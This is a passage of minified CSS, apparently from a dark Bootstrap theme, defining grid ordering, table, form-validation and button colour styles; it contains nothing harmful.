100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.3333333333%}.offset-xl-2{margin-left:16.6666666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.3333333333%}.offset-xl-5{margin-left:41.6666666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.3333333333%}.offset-xl-8{margin-left:66.6666666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.3333333333%}.offset-xl-11{margin-left:91.6666666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table th,.table td{padding:0.75rem;vertical-align:top;border-top:1px solid #282828}.table thead th{vertical-align:bottom;border-bottom:2px solid #282828}.table tbody+tbody{border-top:2px solid #282828}.table .table{background-color:#060606}.table-sm th,.table-sm td{padding:0.3rem}.table-bordered{border:1px solid #282828}.table-bordered th,.table-bordered td{border:1px solid #282828}.table-bordered thead th,.table-bordered thead td{border-bottom-width:2px}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}.table-primary,.table-primary>th,.table-primary>td{background-color:#c3e4f4}.table-hover .table-primary:hover{background-color:#addaf0}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#addaf0}.table-secondary,.table-secondary>th,.table-secondary>td{background-color:#cfcfcf}.table-hover .table-secondary:hover{background-color:#c2c2c2}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c2c2c2}.table-success,.table-success>th,.table-success>td{background-color:#d9eab8}.table-hover .table-success:hover{background-color:#cee4a4}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#cee4a4}.table-info,.table-info>th,.table-info>td{background-color:#e2c6f1}.table-hover .table-info:hover{background-color:#d8b2ec}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#d8b2ec}.table-warning,.table-warning>th,.table-warning>td{background-color:#ffdeb8}.table-hover .table-warning:hover{background-color:#ffd29f}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffd29f}.table-danger,.table-danger>th,.table-danger>td{background-color:#f1b8b8}.table-hover .table-danger:hover{background-color:#eda3a3}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#eda3a3}.table-light,.table-light>th,.table-light>td{background-color:#fdfdfe}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>th,.table-dark>td{background-color:#c1c1c1}.table-hover .table-dark:hover{background-color:#b4b4b4}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b4b4b4}.table-active,.table-active>th,.table-active>td{background-color:rgba(255,255,255,0.075)}.table-hover .table-active:hover{background-color:rgba(242,242,242,0.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(242,242,242,0.075)}.table .thead-dark th{color:#060606;background-color:#888;border-color:#757575}.table .thead-light th{color:#fff;background-color:#e9ecef;border-color:#282828}.table-dark{color:#060606;background-color:#888}.table-dark th,.table-dark td,.table-dark thead th{border-color:#757575}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}@media (max-width: 575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width: 767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width: 991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width: 1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:0.375rem 1rem;font-size:0.875rem;line-height:1.5;color:#282828;background-color:#fff;background-clip:padding-box;border:1px solid transparent;border-radius:0.25rem;-webkit-transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#282828;background-color:#fff;border-color:#95cfeb;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25)}.form-control::-webkit-input-placeholder{color:#555;opacity:1}.form-control:-ms-input-placeholder{color:#555;opacity:1}.form-control::-ms-input-placeholder{color:#555;opacity:1}.form-control::placeholder{color:#555;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#ADAFAE;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.0625rem + 2px)}select.form-control:focus::-ms-value{color:#282828;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(0.375rem + 1px);padding-bottom:calc(0.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + 1px);padding-bottom:calc(0.5rem + 1px);font-size:1.09375rem;line-height:1.5}.col-form-label-sm{padding-top:calc(0.25rem + 1px);padding-bottom:calc(0.25rem + 1px);font-size:0.765625rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:0.375rem;padding-bottom:0.375rem;margin-bottom:0;line-height:1.5;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-sm,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.form-control-plaintext.form-control-lg,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.btn{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-prepend>.input-group-text,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-append>.btn{padding:0.25rem 0.5rem;font-size:0.765625rem;line-height:1.5;border-radius:0.2rem}select.form-control-sm:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(1.6484375rem + 2px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-prepend>.input-group-text,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-append>.btn{padding:0.5rem 1rem;font-size:1.09375rem;line-height:1.5;border-radius:0.3rem}select.form-control-lg:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(2.640625rem + 2px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:0.25rem}.form-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*="col-"]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:0.3rem;margin-left:-1.25rem}.form-check-input:disabled ~ .form-check-label{color:#555}.form-check-label{margin-bottom:0}.form-check-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:0.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:0.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#77B300}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(119,179,0,0.8);border-radius:.2rem}.was-validated .form-control:valid,.form-control.is-valid,.was-validated .custom-select:valid,.custom-select.is-valid{border-color:#77B300}.was-validated .form-control:valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.custom-select.is-valid:focus{border-color:#77B300;-webkit-box-shadow:0 0 0 0.2rem rgba(119,179,0,0.25);box-shadow:0 0 0 0.2rem rgba(119,179,0,0.25)}.was-validated .form-control:valid ~ .valid-feedback,.was-validated .form-control:valid ~ .valid-tooltip,.form-control.is-valid ~ .valid-feedback,.form-control.is-valid ~ .valid-tooltip,.was-validated .custom-select:valid ~ .valid-feedback,.was-validated .custom-select:valid ~ .valid-tooltip,.custom-select.is-valid ~ .valid-feedback,.custom-select.is-valid ~ .valid-tooltip{display:block}.was-validated .form-check-input:valid ~ .form-check-label,.form-check-input.is-valid ~ .form-check-label{color:#77B300}.was-validated .form-check-input:valid ~ .valid-feedback,.was-validated .form-check-input:valid ~ .valid-tooltip,.form-check-input.is-valid ~ .valid-feedback,.form-check-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid ~ .custom-control-label,.custom-control-input.is-valid ~ .custom-control-label{color:#77B300}.was-validated .custom-control-input:valid ~ .custom-control-label::before,.custom-control-input.is-valid ~ .custom-control-label::before{background-color:#bbff34}.was-validated .custom-control-input:valid ~ .valid-feedback,.was-validated .custom-control-input:valid ~ .valid-tooltip,.custom-control-input.is-valid ~ .valid-feedback,.custom-control-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before,.custom-control-input.is-valid:checked ~ .custom-control-label::before{background-color:#99e600}.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before,.custom-control-input.is-valid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #060606,0 0 0 0.2rem rgba(119,179,0,0.25);box-shadow:0 0 0 1px #060606,0 0 0 0.2rem rgba(119,179,0,0.25)}.was-validated .custom-file-input:valid ~ .custom-file-label,.custom-file-input.is-valid ~ .custom-file-label{border-color:#77B300}.was-validated .custom-file-input:valid ~ .custom-file-label::before,.custom-file-input.is-valid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:valid ~ .valid-feedback,.was-validated .custom-file-input:valid ~ .valid-tooltip,.custom-file-input.is-valid ~ .valid-feedback,.custom-file-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-file-input:valid:focus ~ .custom-file-label,.custom-file-input.is-valid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(119,179,0,0.25);box-shadow:0 0 0 0.2rem rgba(119,179,0,0.25)}.invalid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#CC0000}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(204,0,0,0.8);border-radius:.2rem}.was-validated .form-control:invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.custom-select.is-invalid{border-color:#CC0000}.was-validated .form-control:invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.custom-select.is-invalid:focus{border-color:#CC0000;-webkit-box-shadow:0 0 0 0.2rem rgba(204,0,0,0.25);box-shadow:0 0 0 0.2rem rgba(204,0,0,0.25)}.was-validated .form-control:invalid ~ .invalid-feedback,.was-validated .form-control:invalid ~ .invalid-tooltip,.form-control.is-invalid ~ .invalid-feedback,.form-control.is-invalid ~ .invalid-tooltip,.was-validated .custom-select:invalid ~ .invalid-feedback,.was-validated .custom-select:invalid ~ .invalid-tooltip,.custom-select.is-invalid ~ .invalid-feedback,.custom-select.is-invalid ~ .invalid-tooltip{display:block}.was-validated .form-check-input:invalid ~ .form-check-label,.form-check-input.is-invalid ~ .form-check-label{color:#CC0000}.was-validated .form-check-input:invalid ~ .invalid-feedback,.was-validated .form-check-input:invalid ~ .invalid-tooltip,.form-check-input.is-invalid ~ .invalid-feedback,.form-check-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid ~ .custom-control-label,.custom-control-input.is-invalid ~ .custom-control-label{color:#CC0000}.was-validated .custom-control-input:invalid ~ .custom-control-label::before,.custom-control-input.is-invalid ~ .custom-control-label::before{background-color:#ff4d4d}.was-validated .custom-control-input:invalid ~ .invalid-feedback,.was-validated .custom-control-input:invalid ~ .invalid-tooltip,.custom-control-input.is-invalid ~ .invalid-feedback,.custom-control-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before,.custom-control-input.is-invalid:checked ~ .custom-control-label::before{background-color:red}.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before,.custom-control-input.is-invalid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #060606,0 0 0 0.2rem rgba(204,0,0,0.25);box-shadow:0 0 0 1px #060606,0 0 0 0.2rem rgba(204,0,0,0.25)}.was-validated .custom-file-input:invalid ~ .custom-file-label,.custom-file-input.is-invalid ~ .custom-file-label{border-color:#CC0000}.was-validated .custom-file-input:invalid ~ .custom-file-label::before,.custom-file-input.is-invalid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:invalid ~ .invalid-feedback,.was-validated .custom-file-input:invalid ~ .invalid-tooltip,.custom-file-input.is-invalid ~ .invalid-feedback,.custom-file-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-file-input:invalid:focus ~ .custom-file-label,.custom-file-input.is-invalid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(204,0,0,0.25);box-shadow:0 0 0 0.2rem rgba(204,0,0,0.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width: 576px){.form-inline label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .input-group{width:auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:0.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:0.375rem 1rem;font-size:0.875rem;line-height:1.5;border-radius:0.25rem;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.btn:hover,.btn:focus{text-decoration:none}.btn:focus,.btn.focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.25)}.btn.disabled,.btn:disabled{opacity:0.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled):active,.btn:not(:disabled):not(.disabled).active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#2A9FD6;border-color:#2A9FD6}.btn-primary:hover{color:#fff;background-color:#2387b7;border-color:#2180ac}.btn-primary:focus,.btn-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#2A9FD6;border-color:#2A9FD6}.btn-primary:not(:disabled):not(.disabled):active,.btn-primary:not(:disabled):not(.disabled).active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#2180ac;border-color:#1f78a1}.btn-primary:not(:disabled):not(.disabled):active:focus,.btn-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5)}.btn-secondary{color:#fff;background-color:#555;border-color:#555}.btn-secondary:hover{color:#fff;background-color:#424242;border-color:#3c3b3b}.btn-secondary:focus,.btn-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#555;border-color:#555}.btn-secondary:not(:disabled):not(.disabled):active,.btn-secondary:not(:disabled):not(.disabled).active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#3c3b3b;border-color:#353535}.btn-secondary:not(:disabled):not(.disabled):active:focus,.btn-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-success{color:#fff;background-color:#77B300;border-color:#77B300}.btn-success:hover{color:#fff;background-color:#5e8d00;border-color:#558000}.btn-success:focus,.btn-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5);box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#77B300;border-color:#77B300}.btn-success:not(:disabled):not(.disabled):active,.btn-success:not(:disabled):not(.disabled).active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#558000;border-color:#4d7300}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5);box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5)}.btn-info{color:#fff;background-color:#9933CC;border-color:#9933CC}.btn-info:hover{color:#fff;background-color:#822bad;border-color:#7a29a3}.btn-info:focus,.btn-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5);box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#9933CC;border-color:#9933CC}.btn-info:not(:disabled):not(.disabled):active,.btn-info:not(:disabled):not(.disabled).active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#7a29a3;border-color:#732699}.btn-info:not(:disabled):not(.disabled):active:focus,.btn-info:not(:disabled):not(.disabled).active:focus,.show>.btn-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5);box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5)}.btn-warning{color:#212529;background-color:#FF8800;border-color:#FF8800}.btn-warning:hover{color:#fff;background-color:#d97400;border-color:#cc6d00}.btn-warning:focus,.btn-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,136,0,0.5);box-shadow:0 0 0 0.2rem rgba(255,136,0,0.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#FF8800;border-color:#FF8800}.btn-warning:not(:disabled):not(.disabled):active,.btn-warning:not(:disabled):not(.disabled).active,.show>.btn-warning.dropdown-toggle{color:#fff;background-color:#cc6d00;border-color:#bf6600}.btn-warning:not(:disabled):not(.disabled):active:focus,.btn-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,136,0,0.5);box-shadow:0 0 0 0.2rem rgba(255,136,0,0.5)}.btn-danger{color:#fff;background-color:#CC0000;border-color:#CC0000}.btn-danger:hover{color:#fff;background-color:#a60000;border-color:#990000}.btn-danger:focus,.btn-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5);box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#CC0000;border-color:#CC0000}.btn-danger:not(:disabled):not(.disabled):active,.btn-danger:not(:disabled):not(.disabled).active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#990000;border-color:#8c0000}.btn-danger:not(:disabled):not(.disabled):active:focus,.btn-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5);box-shadow:0 0 0 0.2rem rgba(204,0,0,0.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light:focus,.btn-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled):active,.btn-light:not(:disabled):not(.disabled).active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled):active:focus,.btn-light:not(:disabled):not(.disabled).active:focus,.show>.btn-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-dark{color:#fff;background-color:#222;border-color:#222}.btn-dark:hover{color:#fff;background-color:#0f0f0f;border-color:#090808}.btn-dark:focus,.btn-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#222;border-color:#222}.btn-dark:not(:disabled):not(.disabled):active,.btn-dark:not(:disabled):not(.disabled).active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#090808;border-color:#020202}.btn-dark:not(:disabled):not(.disabled):active:focus,.btn-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-outline-primary{color:#2A9FD6;background-color:transparent;background-image:none;border-color:#2A9FD6}.btn-outline-primary:hover{color:#fff;background-color:#2A9FD6;border-color:#2A9FD6}.btn-outline-primary:focus,.btn-outline-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#2A9FD6;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled):active,.btn-outline-primary:not(:disabled):not(.disabled).active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#2A9FD6;border-color:#2A9FD6}.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5);box-shadow:0 0 0 0.2rem rgba(42,159,214,0.5)}.btn-outline-secondary{color:#555;background-color:transparent;background-image:none;border-color:#555}.btn-outline-secondary:hover{color:#fff;background-color:#555;border-color:#555}.btn-outline-secondary:focus,.btn-outline-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#555;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled):active,.btn-outline-secondary:not(:disabled):not(.disabled).active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#555;border-color:#555}.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-outline-success{color:#77B300;background-color:transparent;background-image:none;border-color:#77B300}.btn-outline-success:hover{color:#fff;background-color:#77B300;border-color:#77B300}.btn-outline-success:focus,.btn-outline-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5);box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#77B300;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled):active,.btn-outline-success:not(:disabled):not(.disabled).active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#77B300;border-color:#77B300}.btn-outline-success:not(:disabled):not(.disabled):active:focus,.btn-outline-success:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5);box-shadow:0 0 0 0.2rem rgba(119,179,0,0.5)}.btn-outline-info{color:#9933CC;background-color:transparent;background-image:none;border-color:#9933CC}.btn-outline-info:hover{color:#fff;background-color:#9933CC;border-color:#9933CC}.btn-outline-info:focus,.btn-outline-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5);box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#9933CC;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled):active,.btn-outline-info:not(:disabled):not(.disabled).active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#9933CC;border-color:#9933CC}.btn-outline-info:not(:disabled):not(.disabled):active:focus,.btn-outline-info:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5);box-shadow:0 0 0 0.2rem rgba(153,51,204,0.5)}.btn-outline-warning{color:#FF8800;background-color:transparent;background-image:none;border-color:#FF8800}.btn-outline-warning:hover{color:#212529;background-color:#FF8800;border-color:#FF8800}.btn-outline-warning:focus,.btn-outline-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,136,0,0.5);box-shadow:0 0 0 0.2rem 